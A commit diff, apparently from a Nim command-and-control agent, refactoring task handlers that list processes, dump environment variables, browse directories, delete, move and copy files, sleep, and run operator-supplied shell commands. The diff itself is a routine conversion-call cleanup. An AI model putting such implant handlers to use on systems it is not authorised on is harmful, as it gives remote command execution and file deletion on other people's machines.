Refactored utility functions to make them more readable and removed separate register endpoint.
This commit is contained in:
@@ -122,25 +122,24 @@ when defined(agent):
|
||||
for pid in processes:
|
||||
printProcess(pid)
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
import sugar
|
||||
proc executeEnv(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
echo fmt" [>] Displaying environment variables."
|
||||
|
||||
try:
|
||||
var envVars: string = ""
|
||||
var output: string = ""
|
||||
for key, value in envPairs():
|
||||
envVars &= fmt"{key}: {value}" & '\n'
|
||||
output &= fmt"{key}: {value}" & '\n'
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, envVars.toBytes())
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
proc executeWhoami(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
@@ -148,8 +147,8 @@ when defined(agent):
|
||||
|
||||
try:
|
||||
|
||||
let message = "Not implemented"
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, message.toBytes())
|
||||
let output = "Not implemented"
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(output))
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
@@ -113,17 +113,17 @@ when defined(agent):
|
||||
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
|
||||
let output = $buffer[0 ..< (int)length] & "\n"
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
|
||||
# Change working directory
|
||||
proc executeCd(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let targetDirectory = task.args[0].data.toString()
|
||||
let targetDirectory = Bytes.toString(task.args[0].data)
|
||||
|
||||
echo fmt" [>] Changing current working directory to {targetDirectory}."
|
||||
|
||||
@@ -135,7 +135,7 @@ when defined(agent):
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
|
||||
# List files and directories at a specific or at the current path
|
||||
@@ -158,7 +158,7 @@ when defined(agent):
|
||||
targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
|
||||
|
||||
of 1:
|
||||
targetDirectory = task.args[0].data.toString()
|
||||
targetDirectory = Bytes.toString(task.args[0].data)
|
||||
else:
|
||||
discard
|
||||
|
||||
@@ -282,17 +282,17 @@ when defined(agent):
|
||||
output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
|
||||
output &= fmt"{totalDirs} dir(s)" & "\n"
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
|
||||
# Remove file
|
||||
proc executeRm(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let target = task.args[0].data.toString()
|
||||
let target = Bytes.toString(task.args[0].data)
|
||||
|
||||
echo fmt" [>] Deleting file {target}."
|
||||
|
||||
@@ -303,14 +303,14 @@ when defined(agent):
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
|
||||
# Remove directory
|
||||
proc executeRmdir(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let target = task.args[0].data.toString()
|
||||
let target = Bytes.toString(task.args[0].data)
|
||||
|
||||
echo fmt" [>] Deleting directory {target}."
|
||||
|
||||
@@ -321,15 +321,15 @@ when defined(agent):
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
# Move file or directory
|
||||
proc executeMove(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let
|
||||
lpExistingFileName = task.args[0].data.toString()
|
||||
lpNewFileName = task.args[1].data.toString()
|
||||
lpExistingFileName = Bytes.toString(task.args[0].data)
|
||||
lpNewFileName = Bytes.toString(task.args[1].data)
|
||||
|
||||
echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}."
|
||||
|
||||
@@ -340,7 +340,7 @@ when defined(agent):
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
|
||||
# Copy file or directory
|
||||
@@ -348,8 +348,8 @@ when defined(agent):
|
||||
|
||||
# Parse arguments
|
||||
let
|
||||
lpExistingFileName = task.args[0].data.toString()
|
||||
lpNewFileName = task.args[1].data.toString()
|
||||
lpExistingFileName = Bytes.toString(task.args[0].data)
|
||||
lpNewFileName = Bytes.toString(task.args[1].data)
|
||||
|
||||
echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}."
|
||||
|
||||
@@ -361,4 +361,4 @@ when defined(agent):
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
@@ -36,11 +36,11 @@ when defined(agent):
|
||||
# Parse arguments
|
||||
case int(task.argCount):
|
||||
of 1: # Only the command has been passed as an argument
|
||||
command = task.args[0].data.toString()
|
||||
command = Bytes.toString(task.args[0].data)
|
||||
arguments = ""
|
||||
of 2: # The optional 'arguments' parameter was included
|
||||
command = task.args[0].data.toString()
|
||||
arguments = task.args[1].data.toString()
|
||||
command = Bytes.toString(task.args[0].data)
|
||||
arguments = Bytes.toString(task.args[1].data)
|
||||
else:
|
||||
discard
|
||||
|
||||
@@ -49,9 +49,9 @@ when defined(agent):
|
||||
let (output, status) = execCmdEx(fmt("{command} {arguments}"))
|
||||
|
||||
if output != "":
|
||||
return createTaskResult(task, cast[StatusType](status), RESULT_STRING, output.toBytes())
|
||||
return createTaskResult(task, cast[StatusType](status), RESULT_STRING, string.toBytes(output))
|
||||
else:
|
||||
return createTaskResult(task, cast[StatusType](status), RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
@@ -30,7 +30,7 @@ when defined(agent):
|
||||
|
||||
try:
|
||||
# Parse task parameter
|
||||
let delay = int(task.args[0].data.toUint32())
|
||||
let delay = int(Bytes.toUint32(task.args[0].data))
|
||||
|
||||
echo fmt" [>] Sleeping for {delay} seconds."
|
||||
|
||||
@@ -41,4 +41,4 @@ when defined(agent):
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
Reference in New Issue
Block a user